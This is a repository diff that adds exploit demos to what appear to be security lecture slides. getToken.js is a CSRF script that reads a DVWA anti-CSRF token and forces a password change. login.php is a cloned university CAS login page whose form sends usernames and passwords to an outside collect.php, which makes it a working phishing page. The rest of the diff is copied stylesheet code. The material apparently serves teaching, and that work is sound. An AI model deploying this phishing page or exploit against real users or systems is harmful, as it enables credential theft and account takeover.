Compare revisions

12c34d1d · 12c34d1d · 12c34d1d · 12c34d1d · 12c34d1d · 12c34d1d
--- a/content/slides/1337/exploits/getToken.js
+++ b/content/slides/1337/exploits/getToken.js
+function getToken() {
+    var token='&user_token=' 
+      + document
+        .getElementById("get_token")
+        .contentDocument
+        .getElementsByName("user_token")[0]
+        .value;
+    var link = "http://dv.wa/"
+      + "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change"
+      + token;
+    alert(link);
+    document.getElementById("play_CSRF").src=link;
+}
\ No newline at end of file
--- a/content/slides/1337/exploits/index.php
+++ b/content/slides/1337/exploits/index.php
+<h1>J'héberge des contenus douteux ...</h1>
\ No newline at end of file
--- a/content/slides/1337/exploits/login.php
+++ b/content/slides/1337/exploits/login.php
+<!DOCTYPE html>
+<!-- saved from url=(0075)https://ent.uca.fr/cas/login?service=https%3A%2F%2Fent.uca.fr%2Fcore%2Fhome -->
+<html class="">
+
+<head class="">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+    <meta http-equiv="X-UA-Compatible" content="IE=edge" class="">
+    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" class="">
+    <title class="">CAS - Central Authentication Service Connexion</title>
+    <meta http-equiv="X-UA-Compatible" content="IE=edge" class="">
+    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" class="">
+    <link rel="stylesheet" 
+        href="https://cdnjs.cloudflare.com/ajax/libs/normalize/8.0.1/normalize.min.css" 
+        integrity="sha512-NhSC1YmyruXifcj/KFRWoC561YpHpc5Jtzgvbuzx5VozKpWvQ+4nXhPdFgmx8xqexRcpAglTj9sIBWINXa8x5w==" 
+        crossorigin="anonymous" 
+        referrerpolicy="no-referrer" />
+    <link rel="stylesheet" 
+        href="https://unpkg.com/material-components-web@latest/dist/material-components-web.min.css" >
+    <link rel="stylesheet" 
+        href="https://cdnjs.cloudflare.com/ajax/libs/MaterialDesign-Webfont/7.2.96/css/materialdesignicons.min.css" integrity="sha512-LX0YV/MWBEn2dwXCYgQHrpa9HJkwB+S+bnBpifSOTO1No27TqNMKYoAn6ff2FBh03THAzAiiCwQ+aPX+/Qt/Ow==" 
+        crossorigin="anonymous" 
+        referrerpolicy="no-referrer" />
+    <link rel="stylesheet" type="text/css" href="./login/cas.css?20230224" class="">
+    <link rel="shortcut icon" href="./login/favicon.ico" class="">
+</head>
+
+<body class="flex-column-center" id="dummybodyid" cz-shortcut-listen="true">
+    
+    <img src="./login/logo.png" class="logo">
+    
+    <!-- script type="text/javascript" src="./login/jquery.min.js"
+        class=""></script -->
+    <!-- script type="text/javascript" src="./login/jquery.dataTables.min.js"
+        class=""></script -->
+
+    <!-- script type="text/javascript" src="./login/es5-shim.min.js"
+        class=""></script -->
+    <!-- script type="text/javascript" src="./login/css-vars-ponyfill.min.js"
+        class=""></script -->
+    <!-- script type="text/javascript"
+        src="./login/material-components-web.min.js" class=""></script -->
+    <!-- script type="text/javascript" src="./login/cas.js"
+        class=""></script>
+    <script class="">
+        if (typeof resourceLoadedSuccessfully === "function") {
+            resourceLoadedSuccessfully();
+        }
+        $(() => {
+            typeof cssVars === "function" && cssVars({ onlyLegacy: true });
+        })
+        var trackGeoLocation = false;
+    </script -->
+
+    <div class="card">
+        <main role="main" id="main-content" class="">
+            <div id="content" class="">
+                <div class="">
+                    <section id="loginForm" class="">
+                        <div class="flex-column-center">
+
+                            <div class="flex-column-center">
+
+                            </div>
+
+                            <div class="flex-column-center">
+
+                                <form method="get" id="fm1" action="https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php" class="">
+                                    <div id="login-form-controls" class="flex-column-center">
+                                        <h3 class="">
+                                            <i class=""></i>
+                                            <span class="">Service d'authentification</span>
+                                        </h3>
+
+                                        <section class="margin-space" id="usernameSection">
+                                            <label for="username" class="">
+
+                                                <input class="" id="username" size="25" type="text" accesskey="i"
+                                                    autocapitalize="none" spellcheck="false" autocomplete="username"
+                                                    required="" name="username" value=""
+                                                    placeholder="Identifiant"></label>
+
+
+
+                                            <!-- script type="text/javascript" class="">
+                                                /*<![CDATA[*/
+                                                var username = "";
+                                                var disabled = false;
+
+                                                if (username != null && username !== '') {
+                                                    $('#username').val(username);
+                                                    if (disabled) {
+                                                        $('#usernameSection').hide();
+                                                    }
+                                                }
+                            /*]]>*/
+                                            </script -->
+                                        </section>
+                                        <section class="margin-space" id="passwordSection">
+                                            <div class="">
+                                                <div class="">
+                                                    <label for="password" class="">
+
+                                                        <input class="" type="password" id="password" size="25"
+                                                            required="" accesskey="m" autocomplete="off" name="password"
+                                                            value="" placeholder="Mot de passe">
+                                                    </label>
+
+
+                                                </div>
+                                            </div>
+                                        </section>
+
+                                        <section class="margin-space hide">
+                                        </section>
+
+
+                                        <section class="margin-space hide">
+
+                                            <input type="hidden" name="execution"
+                                                value="8703df8e-fcc6-408b-b306-e844aa7fcdf6_ZXlKaGJHY2lPaUpJVXpVeE1pSXNJblI1Y0NJNklrcFhWQ0lzSW10cFpDSTZJamc0TnpFd01qVTVMVGxtTXpNdE5HRXdOUzA1TW1JM0xUZGpPRFUyTm1JeU1tRXlNaUo5LjZGX0NsV0FoN2NiWkRmZFNNUW52cUN5TF9oSkZTU3lFSFNmXzhya2pQN0VEY1dRVVMzSG1Dd1piZEhid2RhZnpGdFZYLVEtM2RBX3ZIUndFbV9oWkZLNnlaU1BZVHJDM0JDaWpMUG5lT0lzb0RqUTQ0cFdJWk1zX0toRzNudGF1SUl3RktiQjF6ZllwbFdyQXhKLTJmaGs3Z3h2MlZrMHhnUDZHMXJFQnIxLWpoaGVNWjVsSTBQVGtpTi1NTU41MlpvZzdYMmZCdklRVWU3RmY5dDFxS0xranVENW1qNHVfdklCekJmQTM1T0t4elVuRl93SUVXeXp3aGEzYUdwZHltQlg0WkJWQ2llWnBlN0U4emhtbVpGMHlsZjlyQ3hCMExWR3BYUEt4aXlZeXl1WmRTTC1COVp4d0JyWTZMMVl1SjBhc3BFbGJTN3pfd2hKRGw2WVVvV1hRY0VpSFIwci15YkRNVEJxTFBHUG9CLS1BRExiZ1NUTnlma2lSV1Y3Q1RfdldCVmNWZUw1YkVuc284eG8yX3I4VS1naDk0SklzUGxBeW9FdV9NZ3JobVFDOGM0OXBQVzJuQkZGVTVMS2NuTm42VEVnOGZnclVIN3FhM09aS0F5Q3NIdFpmdzlpd184YkN4OWlBLW1pU1o1V2NWaFdOSXBTZjBZdnFhSHRlWk9jMHM4c2dkRk91TzRSX1NBTTR3cXVJWElSMVNpUE5zNzBjRkZxMDNkWG1OTnp3MklTblNCQ24yWldwNUdXeWlLVG8xY0lBWTJWZDFFTnp0NGZrWXB3YXhxaWRIQ1o5UDBSY09qNzh6bnlnLUhURi05bkRVSVc4MkJ3dTZVdUtEQmlWam1lTHJjVG5ZY0ZTUmZ4OTZ6aVdkWnNHSzAwd1F1bE9ZNEhRQmh4R0M4VFlkQlJORFdUNVBBRjI1X3pGX0JwYUdKaVhVdDEyemttQWJCZER0UzUxN241em53UGxlekdha0h5YzQ5dl82ZXQ4emREZ3RvV2tOR2FQc0F3ZDNJUDZVeWcyQi12cGNUbW1oRVNHLTBxeGVHQ1Zpd2ZmQ1JSWDhldGJ0UHZHa2NkeEdja1lYd0F4eUJsXy1wOHZRS09ud0tLNGZybTlHNDBHb0psOEpnejVwNmRDVVQ0QzNiV0RNajJnZk91OUpkbkNLWjJjTzJvTmozUjU1QlVxMGljQzdjUXp2UjlSaXo3R0ZxWVhTbGgzdXNfSFZzWmkxTnFabDY1bVUtMWV1VzdDWm9ielQwWDZLQm5va1RQZUdfOFdjZ3hBMEdtRlZ0ZldSNFhaa0wzZEdGMkJzdXRBcF9iMWhIUVI5UjdVN1VEVDI2T2RlbjZNOVNMRFVJckdBZURNUHphekNkVGVwMEpTTnpyOUs4VnBjZzhlZzFiVXNpSWFVT1BReWw0aEktOC1BZ0MzUjh0N0xnd0xjRUFTNmJsckg1cjN3OVZZUmJXMVdqSm00Rm96UTl0ZW1NYklNbEVGaGJKQjJ6X1BkaDQxV1V3Nk5UeVhyOFUyNC1WZ3dlaTNGUC1YenkxWDVhSVVVekxlWDVYZnNBV2VHZnh5SHh2RlRFYmJNYlB1c1FOTVYzdW5kUTdJWTdXc0hCZnI4MDFkQ2RsX2tsNzF6dG5zLVhIUW9PT3hpd3dQVFFhUmVWbm8xenFXdHVCR2diTk13LUY1eDZ4emZsME9Hb19XYUtXeG80V3pJWmxoY1JCYXQ1TWpja3V0cW1MckZfcnRJZ1M5V1kwTG9wZkExT3c3SkN2Qnl5eXloOTJka1F5UlNTU1FPcnZFSjZTRVl0VW1tOE1qdERTcGd6QkhyVTFfYkp2STloUWZKckFiYmZmTW5Pd292UXhmTHdHZHREdjJuc1M1MlFzeGhiT18xVlVVV1lLb0lYdHdkTHVsYlBmNUhHTTZuc3VfU3lZVmVjQkJGdUo3RldmeVM2cE1tanFZZ1VqeHVBakx5TDNXUmw2VHJqQVByYmd5VVcwaWFrYlRtRmZpd0JJRmF0ck9pMkl3c09KVUtybXoxV21FcE5HTktqR1NWWGlCR0cxZlB1TzJ4enF5SEhFMXFLZlFmalhiYS1PTkhsemp4YTlBd3RzcUtRSjR1VVlSWEowMVRDYW5FazVVSHJ5R25KNlVCNnJEMlhzTXUwTUFvcW5ldzFqOXdJdllacllxdUlMV090V2pMR2NmVG1IdFFXeFpQODg4aFFFQXMxUzVNQnpwdXNpcTVwUFBzMXNBaVZram9kei12OFZBcHozNDY4OHN4ZURZdUwyangxRFV4UG1RTmJxWmYzTlVUMVRVUHd5Ti15cEJZYVotVzVnQ1hFeGUxRUwyY0JnN0FQQ2FhR3RoYlJCbmV5RVVyV3dYdEVxei1vTkZXSXJVM2lBeGJ6Vk9NYUtaSm1pRkdvWnN2UnZNVHRPb3NDWDVSdVY2SHdMMTZHMGNaTFFUdmJPOXFiWGlQU1E1SG5FMW5rZU1uQlA0UFhHNG9mTHQyZE9MZnhjc0dESTFKQ0g4LTN4aWkycTk2ZUY3WE9ibDZXR1ZET2FPVXNxUnpkdjh6VnZZNklXM1p6TVFzOVRTaXcxZ3NDUy0xNmVyelJvdjlCcXFhWl90RUdvRGRjalYyTnlkbndHZjQ3RzkwVzVGN1FQVGJaandYN25wSkdGRE80emVZdV9WbnFvX1FBQmg2TUJlTjVOcV8tb2tFaExTMVFfMnBfbXFUY3dZZDNkaWRWdTFvY3J1T2RRcC1zRVYyNHVEQmlCRUNfMk5Od1RsR3pBNjQ5cDV3NzNwako5TkZnYi1nZ05Sal9Tem1peGZaNF90RGI3SVRaaDA5RnRvVEx4a2drbHlWa2ZLVmNWX3E5UGdHaGtQXzFpc0k1dmNSS3BLRGJHNVZSS0xuX01qcnE1MmtpSXNvQTREMG5kVENuSWFYcUJWMjk1MnVfMkxlTDk4dmJzR1AteXhvVk50QTN1XzlndG9wOUJqOG5EYVNGX3NLQmJHd1l1MkFPMnpuc1dDYi16NUlIYXdXNXFKREZILWFNMTlPc3pjMVpHQkQ5cmM2bkhqN2E3VFhNNDdCOE1Ia2QybDFkekZRcXhsSWlYdlFfcVNDN2lueTQ5QWFWaUJQSkk4QVBCUF9PMThpWlpsOE5HVUx3Xzhfdzk3b09UVWRqU21UVUMybFlORVFwQm5tV1ktZm1vTmFROFdFUnVOMlJxeGZrS05laVNIRmFHa2xCMkE5V2JSUVZ1REFFQ1liQ0xWYm9FTWRGT1FNNEtHSW5xUXBHb01zaEE2M0lDTW5JMGt6dHBqMEU4RUtKaHg0aWNQc04xOGtWbDlrWFpwQUd6RG1ickl6OThGem4tRXcxNzlFTE4tTFFCdnNVZ096WjBZLUlNd1VoZUZVTkhvQ3VfZTlZQ2pmMjctTGJXQ2tVTEE0Skg3VmtWZlpTektCeVZnbmU3NEhmT0ZZOFJIeG1CQ0ZxcjZBYUNJNUdEckk1NWhqYWpXSUs0X1N2aGhUVHN1akZzYk9rY3hxejJKcmQ2UF9zemZ0N3lGMV9ERkRLT1lidS10MmctMlRyNDNlbnRqOVRneVJqZFNsUk9aVFZhWUdEZ25QM1hoX19IbVlKMmtXa3lfVnRCZmd6azNrbkVLOFRVT2N4TGtPV1dXb2hTTEU2bXdQenZFbUthcnlyeEZCaVk2ZGR5Tk9Uc1JjbkZSRXNmSmhKamNLU0JWS0FaUTJkOS02OTVmdGdoUlpFQ3lOWXRRQ1FFSmh1QWVReGJxNWtLdkV0NlpnVW5JaDc2MG9VT3FSTHhoRmUxQmJuMlZjbFlVVndFV3l6RWpJbkhiS1llZHo3WlRQNXItM1BwV1pQTjFhdjFTRVZSOF96Y1VObFo4T0JwUzlxYXNkX01YTlhobEdicXhTRFBoUjdzRmF1VVhrN2FfaGJmOUNCWlJrNGxDUUU5ZWV2MFdGblE4NF9pMUVhbDNEWHBPaXFldDBLNnRuT2VvSTdhOERmRmpwM2ZibklfeFVqRTc2anNEcmE1bjNWRTBUWXk5QnZGWGVQU2xMeWlqQklzWjEtbzdJRjFEemoyMFVkUGVqN194TXY2bUYxcG9XWDRTRDU2VEt4Z2c1UzAyWGtjeDlNSS1OTWJmRWhyM0stTEZqRjloaGxKSmgzTGZzQk1SdGVoYVRvSXhzU3ZPR1hSR0lkY2FRWGxzc3k2WTBhOXJ0UUpSSXZRLUc2c1ZxQzdpMjVDNmptd0QyenhmVG1VMFVEcG9qVjl0cjJ2VGsyTU12OXIzN0ZfeWNPbTctRlhpYnpvWW9CZ3liWThBNE9UaHRfOFZscG9Rb1cwSEl2cWQyU1FvWWFybWhoMlRoeDQ4MjFZS1pTckZxOEk0QXlOOWkzX1IxVHZWZHlpT3RrV1hLeXhxOFBxTUM5MDJNNGNoSER3dl9pVlctWnRUNXNUZ2haZ2R0TmsxYmg3SzRyTTlJS29EWXRvay1aUEp0cE0xUldvMzM3dGs4bHZfQkRvbFNSNVZJTWVpSkt4TXJyMzJIeWd0ZC1rWjJnbnNmWm0zU3U3WmpQWUw3X1dvUjdTakdiWEMtMkMybklLM09hY2wwQmNRLXV3QzI0ZHIzREpIZi0yWU94dWFjQjlIbkxGdlhRaUIxX1ZaNkxCLWZzVHA0YmFLdUJRX2ptYVZRcWVkaFZDZnRzeGFqZFFkSWpOVXlxM0V2aFo3dEhURGFPQ0hBYU1zdWhXUWFKeEdNbnB6V0hUOGhoTk9QcDhMYnI3cUhCQTY5RDZmaE16TkFJX3djRTdfcEJSWFRBRzZ0cng1emY0MjRoaUZmTkRQVGpsWW9sSFhpczZTdF91NGVwZWU0REg5alVOeEpvaHN1Y3EzTTBBSTlhZ2JCLUF4REhRQ2NnU0d3bUdzTExwT2ozMmFJVEdXY2dZX2tDS1ZUZ25XcFJWTlhfWTV3cjBFR3JhLW1TTnVHcEtCQ3RiUVZVRXI0VzlSQXNjTTdzTXRlMTBtRk81YzFJNnlsODh6Wm15TV81ajVLTXpFVFJHVGpjTUhXQ0xJLWloNXg0bUg5Y1JsR243cTM2ZllyVm1mTVhIN0VnWUVFVGxQQUpSVmZ4QXNUeG4zaDN0dHI2TGl1RlFUNkkxdkhHT21yQm9JTkdjTGVKSVh3bHk3anFvNUxYWnMxN29pWEEuNlE0RFFZaHVZWUJ5cEdmeVlyb0R3SjlFVUVEZWl2TTJZMGN0c1FwUHppMFlDZ2RpRDRYak5HRGhKeVBwMHBrMEdKRVFSaXFDb2QwRk42VWZhckUzWnc="
+                                                class=""><input type="hidden" name="_eventId" value="submit"
+                                                class=""><input type="hidden" name="geolocation" class="">
+                                        </section>
+
+                                        <button class="margin-space" name="submitBtn" accesskey="l" type="submit"
+                                            value="Se connecter">
+                                            <span class="">Se connecter</span>
+                                        </button>
+
+                                    </div>
+                                </form>
+
+                                <span class="">
+                                    <div id="pmlinks" class="">
+                                        <div class="">
+                                            <br class=""><span class=""></span>
+                                            <span class="flex-column-center"><a
+                                                    href="https://ent.uca.fr/compte/activationCompte/" class="">Première
+                                                    connexion ?</a><a
+                                                    href="https://ent.uca.fr/compte/password/forgotPwd" class="">Mot de
+                                                    passe oublié ?</a></span>
+                                        </div>
+                                    </div>
+                                </span>
+
+                                <!-- script type="text/javascript" class="">
+                                    /*<![CDATA[*/
+                                    var i = "Veuillez patienter..."
+                                    var j = "Se connecter"
+                                    /*]]>*/
+                                    $(window).on('pageshow', function () {
+                                        $(':submit').prop('disabled', false);
+                                        $(':submit').attr('value', j);
+                                    });
+                                    $(document).ready(function () {
+                                        $("#fm1").submit(function () {
+                                            $(":submit").attr("disabled", true);
+                                            $(":submit").attr("value", i);
+                                            return true;
+                                        });
+                                    });
+                                </script -->
+                            </div>
+
+                            <span class="">
+                                <div id="sidebar" class="">
+                                    <div class="">
+                                        <p class="">Pour des raisons de sécurité, veuillez vous <a
+                                                href="https://ent.uca.fr/cas/logout" class="">déconnecter</a> et fermer
+                                            votre navigateur lorsque vous avez fini d'accéder aux services authentifiés.
+                                        </p>
+                                    </div>
+                                </div>
+                            </span>
+                        </div>
+                    </section>
+                    <span class="">
+                    </span>
+                </div>
+            </div>
+            <div id="links"><a href="https://ent.uca.fr/cas/login?locale=fr">Français</a><a
+                    href="https://ent.uca.fr/cas/login?locale=en">English</a></div>
+        </main>
+    </div>
+</div>
+</body>
+
+</html>
\ No newline at end of file
--- a/content/slides/1337/exploits/login/Barlow-Regular.woff2
+++ b/content/slides/1337/exploits/login/Barlow-Regular.woff2
--- a/content/slides/1337/exploits/login/_cas.css
+++ b/content/slides/1337/exploits/login/_cas.css
+/* Root / Reset */
+
+
+:root {
+    --mdc-text-button-label-text-color: #f7f7f7;
+    --mdc-theme-error: #d9534f;
+    --cas-theme-primary: #153e50;
+    --cas-theme-primary-bg: rgba(21, 62, 80, 0.2);
+    --cas-theme-button-bg: #26418f;
+    --cas-theme-primary-light: #006d85;
+    --cas-theme-secondary: #74C163;
+    --cas-theme-success: var(--cas-theme-secondary);
+    --cas-theme-danger: var(--mdc-theme-error);
+    --cas-theme-warning: #e6a210;
+    --cas-theme-border-light: 1px solid rgba(0, 0, 0, .2);
+    --mdc-theme-primary: var(--cas-theme-primary, #153e50);
+}
+
+body {
+    display: flex;
+    height: 100vh;
+    margin: 0;
+    padding: 0;
+    flex-direction: column;
+    justify-content: space-between;
+    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
+    background: #EFEFEF;
+}
+
+a {
+    color: #153e50;
+    color: var(--cas-theme-primary, #153e50);
+}
+
+a:hover, a:visited, a:active {
+    color: #006d85;
+    color: var(--cas-theme-primary-light);
+}
+
+h1, h2, h3, h4, h5, h6 {
+    margin-top: 0;
+}
+
+aside, section, main {
+    display: block;
+}
+
+/* Material */
+
+.mdc-drawer {
+    top: 56px;
+}
+
+.mdc-drawer-app-content {
+    flex: auto;
+    overflow: auto;
+    position: relative;
+}
+
+.main-content {
+    display: flex;
+}
+
+.mdc-top-app-bar {
+    z-index: 7;
+}
+
+div#content {
+    box-shadow:1px 1px 3px #888;
+}
+/* widgets */
+
+.notifications-count {
+    position: absolute;
+    top: 10px;
+    right: 12px;
+    background-color: #b00020;
+    background-color: var(--cas-theme-danger);
+    color: #fff;
+    border-radius: 50%;
+    padding: 1px 3px;
+    font: 8px Verdana;
+}
+
+.cas-brand {
+    height: 48px;
+    width: auto;
+}
+
+header>nav .cas-brand path.cls-1 {
+    fill: white;
+}
+
+header>nav .cas-brand .cas-logo {
+    height: 100%;
+}
+
+.caps-warn {
+    display: none;
+}
+
+.caps-on {
+    display: block;
+}
+
+.login-section {
+    border-right: 1px solid rgba(0, 0, 0, .2);
+    border-right: var(--cas-theme-border-light, 1px solid rgba(0, 0, 0, .2));
+    padding: 2rem 2.5rem;
+    flex: 1 1 auto;
+    /* IE flex fix */
+}
+
+.login-section:last-child {
+    border: none;
+}
+
+@media screen and (max-width: 767.99px) {
+    .login-section {
+        border-right: none;
+        border-bottom: 1px solid rgba(0, 0, 0, .2);
+        border-bottom: var(--cas-theme-border-light, 1px solid rgba(0, 0, 0, .2));
+        max-width: none;
+        padding: 0 1.5rem;
+    }
+}
+
+.noborder {
+    border: 0 none;
+}
+
+.close {
+    font-size: 1.5rem;
+    font-weight: 700;
+    line-height: 1;
+    color: #000;
+    text-shadow: 0 1px 0 #fff;
+    text-transform: none;
+    text-decoration: none;
+}
+
+button.close {
+    background-color: transparent;
+    border: 0;
+    -webkit-appearance: none;
+}
+
+.banner {
+    border: 1px solid rgba(0, 0, 0, .2);
+    border: var(--cas-theme-border-light, 1px solid rgba(0, 0, 0, .2));
+    position: relative;
+    padding-left: 10px;
+    box-shadow:1px 1px 3px #888;
+    border-radius:.5em;
+    padding-top: .5em;
+    padding-bottom: .5em;
+}
+
+.banner>span {
+    vertical-align: top;
+}
+
+.banner .banner-message {
+    margin: 0.375rem 0;
+}
+
+.banner .banner-heading:first-child {
+    margin-top: 0;
+}
+
+.banner .banner-message:first-child {
+    margin-top: 0;
+}
+
+.banner .banner-message:last-child {
+    margin-bottom: 0;
+}
+
+.banner-primary {
+    border-color: #153e50;
+    border-color: var(--cas-theme-primary, #153e50);
+}
+
+.banner-primary .mdi {
+    color: #153e50;
+    color: var(--cas-theme-primary, #153e50);
+}
+
+.banner-danger h1:before,
+.banner-danger h2:before,
+.banner-danger h3:before,
+.banner-danger h4:before,
+.banner-danger h5:before {
+    content: "\F0027";
+    font-size: 24px;
+    font: normal normal normal 24px/1 "Material Design Icons";
+}
+
+.banner-danger {
+    border-color: #b00020;
+    border-color: var(--cas-theme-danger, #b00020);
+    color: #D8000C;
+    background-color: #FFD2D2;
+}
+
+.banner-danger .mdi {
+    color: #b00020;
+    color: var(--cas-theme-danger, #b00020);
+}
+
+.banner-warning {
+    border-color: #e6a210;
+    border-color: var(--cas-theme-warning, #e6a210);
+    color: #e6a210;
+    color: var(--cas-theme-warning, #e6a210);
+}
+
+.banner-warning .mdi {
+    color: #e6a210;
+    color: var(--cas-theme-warning, #e6a210);
+}
+
+.banner-success h1:before,
+.banner-success h2:before,
+.banner-success h3:before,
+.banner-success h4:before,
+.banner-success h5:before {
+    content: "\F012D";
+    font-size: 24px;
+    font: normal normal normal 24px/1 "Material Design Icons";
+}
+
+.banner-success {
+    border-color: var(--cas-theme-success);
+    color: var(--cas-theme-primary, #153e50);
+    background-color: #b3e7f8;
+}
+
+.banner-dismissible {
+    padding-right: 4rem;
+}
+
+.banner-dismissible .close {
+    position: absolute;
+    top: 0;
+    right: 0;
+    padding: .75rem 1.25rem;
+    color: inherit;
+}
+
+.login-provider-item {
+    list-style: none;
+}
+
+.login-provider-item .mdc-button .mdi {
+    margin-right: 0.375rem;
+}
+
+@media screen and (max-width: 767.99px) {
+    .logout-banner {
+        width: 100%;
+    }
+}
+
+.cas-footer {
+    background-color: var(--mdc-theme-primary, #6200ee);
+    color: whitesmoke;
+}
+
+.cas-footer a {
+    color: deepskyblue;
+}
+
+.cas-footer>* {
+    margin-right: 0.25rem;
+    display: inline-block;
+}
+
+.cas-footer>*:last-child {
+    margin: 0;
+}
+
+.cas-notification-dialog .mdc-dialog__content>.cas-notification-message:not(:last-child) {
+    border-bottom: 1px solid rgba(0, 0, 0, .2);
+    border-bottom: var(--cas-theme-border-light, 1px solid rgba(0, 0, 0, .2));
+}
+
+.mdc-dialog__title::before {
+    display: none;
+}
+
+.mdi {
+    content: "";
+}
+
+.mdi:before {
+    font-size: 24px;
+}
+
+/* custom components */
+
+.custom-select {
+    display: inline-block;
+    min-width: 80%;
+    height: 56px;
+    padding: .375rem 1.75rem .375rem .75rem;
+    font-size: 1rem;
+    font-weight: 400;
+    line-height: 1.5;
+    color: rgba(0, 0, 0, 0.87);
+    vertical-align: middle;
+    background: #fff url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right .75rem center/8px 10px;
+    border: 1px solid #ced4da;
+    border-radius: .25rem;
+    -webkit-appearance: none;
+}
+
+/* utilities */
+
+.bg-primary {
+    background-color: rgba(21, 62, 80, 0.2);
+    background-color: var(--cas-theme-primary-bg, rgba(21, 62, 80, 0.2));
+}
+
+.border-bottom {
+    border-color: #153e50;
+    border-bottom: 1px solid var(--cas-theme-primary, #153e50);
+}
+
+.strong {
+    font-weight: bold;
+}
+
+.text-warning {
+    color: #e6a210;
+    color: var(--cas-theme-warning, #e6a210);
+}
+
+.text-danger {
+    color: #b00020;
+    color: var(--cas-theme-danger, #b00020);
+}
+
+.text-secondary, .text-success {
+    color: var(--cas-theme-secondary);
+}
+
+.progress-bar-danger .mdc-linear-progress__bar-inner {
+    border-color: #b00020;
+    border-color: var(--cas-theme-danger, #b00020);
+}
+
+.progress-bar-warning .mdc-linear-progress__bar-inner {
+    border-color: #e6a210;
+    border-color: var(--cas-theme-warning, #e6a210);
+}
+
+.progress-bar-success .mdc-linear-progress__bar-inner {
+    border-color: var(--cas-theme-success);
+}
+
+.word-break-all {
+    word-break: break-all;
+}
+
+.mdc-text-field {
+    width: 100%;
+}
+
+.mdc-text-field>.mdc-text-field__input, .mdc-text-field:not(.mdc-text-field--disabled):not(.mdc-text-field--outlined):not(.mdc-text-field--textarea)>.mdc-text-field__input {
+    border-color: #153e50;
+    border: 1px solid var(--cas-theme-primary, #153e50);
+    border-radius: 4px;
+}
+
+.mdc-input-group .mdc-input-group-field .mdc-text-field {
+    border-top-right-radius: 0;
+    border-bottom-right-radius: 0;
+}
+
+.mdc-input-group .mdc-input-group-append {
+    order: 2;
+    border-top-left-radius: 0;
+    border-bottom-left-radius: 0;
+}
+
+.mdc-input-group .mdc-input-group-prepend, .mdc-input-group .mdc-input-group-append {
+    height: 56px;
+}
+
+.mdc-input-group .mdc-input-group-prepend {
+    order: 0;
+    border-top-right-radius: 0;
+    border-bottom-right-radius: 0;
+}
+
+.mdc-input-group .mdc-input-group-field.mdc-input-group-field-prepend .mdc-text-field>.mdc-text-field__input {
+    border-top-left-radius: 0;
+    border-bottom-left-radius: 0;
+}
+
+.mdc-input-group .mdc-input-group-field.mdc-input-group-field-append .mdc-text-field>.mdc-text-field__input {
+    border-top-right-radius: 0;
+    border-bottom-right-radius: 0;
+}
+
+.text-danger, .mdc-text-field:not(.mdc-text-field--disabled) .mdc-text-field__icon.text-danger, .mdc-text-field:not(.mdc-text-field--disabled)+.mdc-text-field-helper-line .mdc-text-field-helper-text.text-danger {
+    color: #b00020;
+    color: var(--cas-theme-danger);
+}
+
+.mdc-text-field--focused:not(.mdc-text-field--disabled) .mdc-floating-label {
+    color: #153e50;
+    color: var(--cas-theme-primary, #153e50);
+}
+
+.mdc-button--outline:not(:disabled) {
+    background-color: #428bca;
+    border-radius: 12px 4px;
+}
+
+.mdc-button--raised:not(:disabled) {
+    margin-right: 4px;
+    border-radius: 12px 4px;
+    background-color: var(--cas-theme-primary, #153E50);
+}
+
+.list-unstyled {
+    padding-left: 0;
+    list-style: none;
+}
+
+.text-center {
+    text-align: center;
+}
+
+.pad-0 {
+    padding-right: 0;
+    padding-left: 0;
+}
+
+.w-66 {
+    width: 66%;
+}
+
+.w-33 {
+    width: 33%;
+}
+
+.w-25 {
+    width: 25%;
+}
+
+.w-50 {
+    width: 50%;
+}
+
+.w-75 {
+    width: 75%;
+}
+
+.w-100 {
+    width: 100%;
+}
+
+.w-auto {
+    width: auto;
+}
+
+.h-25 {
+    height: 25%;
+}
+
+.h-50 {
+    height: 50%;
+}
+
+.h-75 {
+    height: 75%;
+}
+
+.h-100 {
+    height: 100%;
+}
+
+.h-auto {
+    height: auto;
+}
+
+.mw-100 {
+    max-width: 100% !important;
+}
+
+.mh-100 {
+    max-height: 100%;
+}
+
+.min-vw-100 {
+    min-width: 100vw;
+}
+
+.min-vh-100 {
+    min-height: 100vh;
+}
+
+.vw-100 {
+    width: 100vw;
+}
+
+.vh-100 {
+    height: 100vh;
+}
+
+.mw-50 {
+    max-width: 50%;
+}
+
+.border-rounded {
+    border-color: #153e50;
+    border: 1px solid var(--cas-theme-primary, #153e50);
+    border-radius: 4px;
+}
+
+.border-bottom {
+    border-color: #153e50;
+    border-bottom: 1px solid var(--cas-theme-primary, #153e50);
+}
+
+@media all and (min-width: 768px) {
+    .w-md-50 {
+        width: 50%;
+    }
+    .w-md-66 {
+        width: 66%;
+    }
+}
+
+@media all and (min-width: 992px) {
+    .w-lg-50 {
+        width: 50%;
+    }
+    .w-lg-66 {
+        width: 66%;
+    }
+}
+
+@media all and (max-width: 767.99px) {
+    .w-md-50 {
+        width: 100%;
+    }
+    .w-md-66 {
+        width: 100%;
+    }
+}
+
+@media all and (max-width: 991.99px) {
+    .w-lg-50 {
+        width: 100%;
+    }
+    .w-lg-66 {
+        width: 100%;
+    }
+}
+
+.visually-hidden {
+    position: absolute;
+    width: 1px;
+    height: 1px;
+    padding: 0;
+    overflow: hidden;
+    clip: rect(0, 0, 0, 0);
+    white-space: nowrap;
+    border: 0;
+}
+
+*, ::after, ::before {
+    box-sizing: border-box;
+}
+
+.text-justify {
+    text-align: justify;
+}
+
+#duo_iframe {
+    width: 100%;
+    min-width: 304px;
+    height: 330px;
+    border: none;
+    padding: 0;
+    margin: 0;
+}
+
+.dataTables_wrapper {
+    margin-left: 5px;
+    margin-top: 5px;
+    margin-right: 5px;
+}
+
+#serviceui {
+    background-color: #17a3b844;
+    border-radius: 4px;
+}
+
+#heroimg {
+    display: block;
+    margin-left: auto;
+    margin-right: auto;
+}
+
+/* IE flex fix */
+
+#main-content {
+    margin-right: 10px;
+    margin-left: 10px;
+}
+
+/* oddly, the auto right and left margins caused the login form to not be centered in IE */
+
+@media all and (min-width: 768px) {
